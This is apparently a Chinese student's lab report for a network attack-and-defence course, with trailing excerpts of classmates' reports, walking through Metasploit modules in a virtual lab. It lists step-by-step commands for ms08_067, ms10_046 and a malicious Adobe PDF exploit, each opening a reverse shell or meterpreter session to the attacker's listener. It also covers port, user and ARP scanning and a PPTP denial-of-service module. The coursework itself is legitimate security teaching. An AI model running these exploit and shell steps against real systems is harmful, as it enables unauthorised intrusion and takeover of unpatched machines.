20155232《网络对抗》Exp5 MSF基础应用

20155232《网络对抗》Exp5 MSF基础应用

基础问题回答

用自己的话解释什么是exploit,payload,encode.

exploit:就是利用可能存在的漏洞对目标进行攻击,相当于一个载具

payload:就是攻击的代码,是载荷。

encode:为了帮助攻击载荷避免被杀软发现,进行伪装。

实践总结与体会

在辅助模块这里,可以发现很多旧版本的软件有漏洞,从而可以进行相关的攻击,在此次实验中就体验了旧版本有漏洞的一些软件进行了攻击并且很轻易就实现了,所以有漏洞时,一定要尽快打补丁,不能让别人有机可乘哈哈哈。。

离实战还缺些什么技术或步骤?

实战的时候要结合靶机的具体环境考虑,结合具体应用的漏洞去实践。

主动攻击:ms08_067

windows ip :192.168.128.135

kali ip :192.168.128.133

实验前先查看kali与靶机是否可以ping通

因为中文版虚拟机结果一直提示没有建立会话,所以此次靶机为我拷的WinXPenSP3(将网络调制NAT模式,否则ping不通啊)

  • 输入

    msfconsole

    进入msf,首先使用search命令搜寻有关漏洞MS08_067的相关信息

  • use exploit/windows/smb/ms08_067_netapi

    使用该模块:

  • 再使用

    show payloads

查看可以供我们使用的payload:

  • show targets
  • 查看可以被攻击的靶机的操作系统型号,这里我们默认选择0采用自动选取

  • 接下来设置攻击有效载荷(set payload generic/shell_reverse_tcp)

    我们的目的是为了获取靶机的shell,因此这里我们选择通过反向连接来获取shell的

    generic/shell_reverse_tcp

    当payload,使用指令

    set payload generic/shell_reverse_tcp

    对payload进行设置:

  • 使用指令
    show options

    查看我们需要设置的参数,发现需要设置一个

    RHOST

    (远程主机,即靶机的IP地址)和一个

    LHOST

    (本地主机,即攻击机的IP地址):

  • 设置完相应的参数后,再次使用
show options

对攻击的选项进行查看:

问题:

  • 接着使用

    exploit

    指令开始攻击,出现下图中错误:

解决:

  • 将xp中的防火墙关闭:

攻击成功后获取了靶机的shell,使用

systeminfo

指令查看靶机系统信息:

  • 在kali上执行

    ipconfig/all

    得到如下图所示:

IE浏览器渗透攻击——ms10_046安全漏洞

  • 基本步骤还是和上面一样,先利用

    search ms10_046

    指令查看可以运用的攻击模块:

  • 使用命令,选取模块
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader

使用指令

set payload generic/shell_reverse_tcp

对payload进行设置:

再输入命令

show options
  • 然后查看需要设置的参数,SRVHOST填的是本地监听主机的IP地址,LHOST也是监听的IP地址,所以这里SRVHOST和LHOST都应该填攻击机的IP地址:

  • 进行设置并且查看:

  • 使用

    exploit

    指令执行漏洞,可以看到生成了一个url:

  • 在靶机的IE浏览器上使用该url进行访问,在MSF终端看见提示404错误

问题

  • 用靶机访问时,结果弹出了这个

在更改相关设置多次还是不行。。。。

并且提示错误:

ip被占用

解决

所以在网上搜索如何修改主机ip地址:

使用命令

ifconfig eth0 192.168.128.132   (自己要设置的IP)

这个命令是更改主机IP,回车后你什么都看不到,就表示成功了,但是此命令所做的更改在下次重启后就会失效。

                      [参考错误信息](https://yq.aliyun.com/articles/366803)

在进行如上设置后还是出现错误:

在重新进行设置后,不设置修改端口好像就成功了???

  • 使用

    sessions -i 1

    接入ID为1的活动链接

  • 使用
ipconfig

命令

已成功获取了靶机的shell,再利用systeminfo指令查看靶机的系统信息:

针对客户端的攻击

  • search adobe

    查询一下针对该漏洞的攻击模块:

  • 选择了rank为good这款:

  • 输入命令

    use exploit/windows/fileformat/adobe_utilprintf

    进入该漏洞模块的使用

  • 使用命令
    set payload windows/meterpreter/reverse_tcp

    设置攻击有效载荷。

  • 输入命令
    show options

    显示我们需要在攻击前需要设置的数据

  • 输入
    exploit

    ,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。

  • 粘贴到xp中:

  • 使用

    use exploit/multi/handler

    新建一个监听模块

  • 使用
    set payloads windws/meterpreter/reverse_tcp

    建立一个反向连接,设置set LPORT 5232

  • 使用命令

    exploit

    开始攻击,在xp中打开pdf。同时kali会显示连接成功的结果。

  • 输入shell获取靶机信息

  • 在靶机xp中使用命令netstat -an,看本地tcp连接。

辅助模块应用

开放端口扫描

  • 使用

    show auxiliary

    查看可以运用的辅助模块:

  • 使用此模块扫描端口
    use auxiliary/scanner/portscan/syn
  • 使用命令
    show options
    set RHOSTS 192.168.128.136(目标)
    set THREADS 50(线程)
    exploit

监听结果显示:

上网搜索了一下都是开放的什么端口:

135端口 :

Microsoft在这个端口运行DCE RPC end-point mapper为它的DCOM服务。这与UNIX 111端口的功能很相似。使用DCOM和RPC的服务利用计算机上的end-point mapper注册它们的位置。远端客户连接到计算机时,它们查找end-point mapper找到服务的位置。

139端口:

139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。这个协议被用于Windows"文件和打印机共享"和SAMBA。在Internet上共享自己的硬盘可能是最常见的问题。139属于TCP协议。

445端口 :

445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉! 2017年10月,由于病毒“坏兔子”来袭,国家互联网应急中心等安全机构建议用户及时关闭计算机以及网络设备上的445和139端口

枚举系统上的用户

模块:auxiliary/scanner/smb/smb_enumusers

功能:枚举系统上的用户

使用命令:

use auxiliary/scanner/smb/smb_enumusers

进行设置:

然后就可以开始exploit了。

cert扫描

用途:可以查到一个子网段内的服务器的证书情况。

这是用于扫描ssl证书的,ssl安全连接需要身份认证——数字证书

使用命令

use auxiliary/scanner/http/cert

进行相关设置

扫描结果:

MS02 _ 063 _ pptp_dos

这是Windows 2000/XP中PPTP服务的拒绝服务攻击缺陷。

攻击者利用此缺陷仅仅能够进行拒绝服务攻击,并不能获得任何信息和任何权限。

使用use使用此模块:

进行配置:

exploit看看效果:竟然被拒绝了。。。

上网查了一下一般这中情况是因为没有关闭防火墙,但是检查后防火墙时关闭的状态,以失败告终。。。。。

arp_sweep

arp_sweep使用ARP请求枚举本地局域网络中的所有活跃主机进行扫描。进入模块后查询一下参数,

msf > use auxiliary/scanner/discovery/arp_sweep   ---进入arp_sweep 模块
msf auxiliary(arp_sweep) > show options  ---查询模块参数

并且配置好后进行exploit:

因为打开了win xp和虚拟机kali,扫描到了好几个活跃机,

发现xp的ip地址是:

192.168.128.138

然后我自己主机的ip地址是

192.168.128.1

但是还有两个活跃机的地址不知道是谁的= =。哈哈哈哈

原文地址:https://www.cnblogs.com/lsqsjsj/p/8947594.html

时间: 2024-08-30 04:01:48

20155232《网络对抗》Exp5 MSF基础应用的相关文章

2018-2019 20165235 网络对抗 Exp5 MSF基础

2018-2019 20165235 网络对抗 Exp5 MSF基础 1. 实践内容(3.5分) 1.1一个主动攻击实践 攻击方:kali 192.168.21.130 靶机: win7 192.168.21.128 永恒之蓝漏洞是利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可以执行任意代码. 进入msfconsole输入 use exploit/windows/smb/ms17_010_eternalblue.并且通过show payloads 显示可用攻击载荷.

2018-2019 20165221 网络对抗 Exp5 MSF基础

2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms08_067; (1分 一个针对浏览器的攻击,如ms11_050:(1分) 一个针对客户端的攻击,如Adobe:(1分) 成功应用任何一个辅助模块.(0.5分) 具体实验操作 攻击机(kali):192.168.194.128 靶机(win7):192.168.194.129 任务一:主动攻击实践 W

20145326蔡馨熤《网络对抗》——MSF基础应用

20145326蔡馨熤<网络对抗>--MSF基础应用 实验后回答问题 用自己的话解释什么是exploit,payload,encode. exploit:起运输的作用,将数据传输到对方主机. payload:其实就是指装载的"具体内容".就相当于shellcode一样. encode:对需要传输的文件进行编码,使其达到免杀效果. 实验总结与体会 通过这次MSF基础应用的实验.我对MSF里面包括的6个模块都有了一定的认识,先是exploit模块,也就是我们说的渗透模块,包括主

20145318《网络对抗》MSF基础应用

20145318 <网络对抗> MSF基础应用 实验内容 掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路.具体需要完成(1)一个主动攻击,如ms08_067;(2)一个针对浏览器的攻击,如ms11_050:(3)一个针对客户端的攻击,如Adobe(4)成功应用任何一个辅助模块 基础问题回答 exploit:通过漏洞对程序攻击的途径,是一种手段或通道. payload:具体的攻击代码 encode:伪装.隐藏 实践过程 主动攻击:ms08_067 针对浏览器:ms11_05

20145216史婧瑶 《网络对抗》 MSF基础应用

20145216史婧瑶 <网络对抗> MSF基础应用 实验回答问题 用自己的话解释什么是exploit,payload,encode. exploit:渗透攻击模块,测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果. payload:攻击载荷模块,由一些可动态运行在远程主机上的代码组成 encode:编码器模块,对指令重新进行编码,用以实现反检测功能.指令顺利执行等 实践过程 主动攻击(ms08_067漏洞) MS08_067远程漏洞攻击实践:Shell 1.在VMware

20155305《网络对抗》MSF基础应用

20155305<网络对抗>MSF基础应用 实验过程 实验系统 靶机1:Windows XP Professional SP2 ,IP地址:192.168.1.108 靶机2:Windows XP Professional SP3 简体中文,IP地址:192.168.1.113 windows XP的虚拟机安装可以在这个网址下载iso镜像,至于序列号就百度吧,会有很多. Kali IP地址:192.168.1.105 1.主动攻击:ms08_067 使用靶机1和Kali 先msfconsole

20145322 《网络对抗》 MSF基础应用1

20145322何志威 Exp5 MS08_067漏洞测试 实验问答 什么是exploit.payload.encode exploit:通过一个漏洞对程序进行攻击的过程 payload:有具体功能作用的代码 encode:对payload进行伪装 实验链接 实验一MS08_067漏洞测试 实验二MS11_050 实验三Adobe阅读器漏洞攻击 实验四利用nmap扫描

《网络对抗》Exp5 MSF基础应用

20155336<网络对抗>Exp5 MSF基础应用 一.基础知识回答 用自己的话解释什么是exploit,payload,encode exploit:漏洞利用,与靶机进行交互,攻击靶机的最后一步 payload:有效载荷,后面一般加要对靶机进行攻击的代码,可以实现任何运行在受害者环境中的程序所能做的事情 encode:编码器,对代码进行异或运算.去除坏字符等等,保护payload不被发现 二.实践过程 1.Windows服务渗透攻击--MS08-067安全漏洞 ①攻击机:kali ②靶机:

20155330 《网络对抗》 Exp5 MSF基础应用

20155330 <网络对抗> Exp5 MSF基础应用 实践过程记录 Windows服务渗透:MS08_067漏洞攻击 攻击机:kali IP地址:192.168.124.132 靶机:windows XP SP3 简体中文 IP地址:192.168.124.135 输入命令use exploit/windows/smb/ms08_067_netapi 设置参数 set payload generic/shell_reverse_tcptcp反向回连 set LHOST 192.168.23